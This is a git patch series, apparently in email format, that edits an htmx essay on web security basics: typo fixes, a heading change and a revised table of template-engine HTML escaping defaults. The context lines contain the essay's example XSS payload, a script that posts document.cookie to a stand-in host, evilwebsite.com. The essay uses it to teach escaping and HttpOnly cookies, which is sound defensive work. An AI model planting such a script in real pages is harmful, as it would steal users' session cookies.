Date: Tue, 6 Feb 2024 01:29:02 -0500
Subject: [PATCH 09/10] Yawar edits
---
.../essays/web-security-basics-with-htmx.md | 14 +++++++-------
1 file changed, 7 insertions(+), 7 deletions(-)
diff --git a/www/content/essays/web-security-basics-with-htmx.md b/www/content/essays/web-security-basics-with-htmx.md
index d17c863cf..6c0f6c4c5 100644
--- a/www/content/essays/web-security-basics-with-htmx.md
+++ b/www/content/essays/web-security-basics-with-htmx.md
@@ -51,7 +51,7 @@ But this is not:
The reason for this is simple: htmx inserts the response from that route directly into the user's page. If the response has a malicious `
@@ -125,7 +125,7 @@ export function escapeHtmlText (value) {
This tiny JS function replaces `<` with `<`, `"` with `"`, and so on. These characters will still render properly as `<` and `"` when they're used in the text, but can't be interpreted as code constructs. The previous malicious bio will now be converted into the following HTML:
```html
-
+
<script>
fetch('evilwebsite.com', { method: 'POST', data: document.cookie })
</script>
@@ -215,7 +215,7 @@ So what do the options do?
The first one, `Secure`, ensures that the browser will not send the cookie over an insecure HTTP connection, only a secure HTTPS connection. Sensitive info, like a user's login token, should *never* be sent over an insecure connection.
-The second option, `HttpOnly`, means that the browser will not expose to the cookie to JavaScript, ever (i.e. it won't be in [`document.cookie`](https://developer.mozilla.org/en-US/docs/Web/API/Document/cookie)). Even if someone is able to insert a malicious script, like in the `evilwebsite.com` example above, that malicious script cannot access the user's cookie or send it to `evilwebsite.com`. The browser will only attach the cookie when the request is made to the website the cookie came from.
+The second option, `HttpOnly`, means that the browser will not expose the cookie to JavaScript, ever (i.e. it won't be in [`document.cookie`](https://developer.mozilla.org/en-US/docs/Web/API/Document/cookie)). Even if someone is able to insert a malicious script, like in the `evilwebsite.com` example above, that malicious script cannot access the user's cookie or send it to `evilwebsite.com`. The browser will only attach the cookie when the request is made to the website the cookie came from.
Finally, `SameSite=Lax` locks down an avenue for Cross-Site Request Forgery (CSRF) attacks, which is where an attacker tries to get the client's browser to make a malicious request to the `yourdomain.com` server—like a POST request. The `SameSite=Lax` setting tells the browser not to send the `yourdomain.com` cookie if the site that made the request isn't `yourdomain.com`—unless it's a straightforward `` link navigating to your page. This is *mostly* browser default behavior now, but it's important to still set it directly.
@@ -223,7 +223,7 @@ In 2024, `SameSite=Lax` is [usually enough](https://security.stackexchange.com/q
**Important Note:** `SameSite=Lax` only protects you at the domain level, not the subdomain level (i.e. `yourdomain.com`, not `yoursite.github.io`). If you're doing user login, you should always be doing that at your own domain in production. Sometimes the [Public Suffixes List](https://security.stackexchange.com/questions/223473/for-samesite-cookie-with-subdomains-what-are-considered-the-same-site) will protect you, but you shouldn't rely on that.
-## Breaking the Rules
+## Breaking the rules
We started with the easiest, most secure practices—that way mistakes lead to a broken UX, which can be fixed, rather than stolen data, which cannot.
@@ -270,7 +270,7 @@ You can fix this in a couple of ways. The simplest, and safest, trick is to let
Yes, you're including unescaped content, but it's a link that you generated, so you know it's safe.
-You can handle custom CSS in the same way. Rather than let your users specific the color directly, give them some limited choices, and set the choices based on their input.
+You can handle custom CSS in the same way. Rather than let your users specify the color directly, give them some limited choices, and set the choices based on their input.
```css
{% if user.favorite_color === 'red' %}
From 6a875b0ca4c685b2b355663a3a80cb69390a512a Mon Sep 17 00:00:00 2001
From: Alexander Petros
Date: Tue, 6 Feb 2024 13:18:14 -0500
Subject: [PATCH 10/10] Add note about flask
---
www/content/essays/web-security-basics-with-htmx.md | 12 ++++++------
1 file changed, 6 insertions(+), 6 deletions(-)
diff --git a/www/content/essays/web-security-basics-with-htmx.md b/www/content/essays/web-security-basics-with-htmx.md
index 6c0f6c4c5..a16110176 100644
--- a/www/content/essays/web-security-basics-with-htmx.md
+++ b/www/content/essays/web-security-basics-with-htmx.md
@@ -63,14 +63,14 @@ htmx executes HTML; HTML is code; never execute untrusted code.
When you send HTML to the user, all dynamic content must be escaped. Use a template engine to construct your responses, and make sure that auto-escaping is on.
-Fortunately, all template engines support escaping HTML, and most of them enable it by default (Jinja is a notable exception). Below are just a few examples.
+Fortunately, all template engines support escaping HTML, and most of them enable it by default. Below are just a few examples.
| Language | Template Engine | Escapes HTML by default? |
| ---- | ---- | ---- |
| JavaScript | Nunjucks | Yes |
| JavaScript | EJS | Yes, with `<%= %>` |
-| JavaScript | Handlebars | Yes, with `{{ }}` |
-| Python | Jinja | **No** |
+| Python | DTL | Yes |
+| Python | Jinja | **Sometimes** (Yes, in Flask)|
| Ruby | ERB | Yes, with `<%= %>` |
| PHP | Blade | Yes |
| Go | html/template | Yes |
@@ -183,7 +183,7 @@ To understand what these protect you against, let's go over the basics. If you c
If your users log in with a `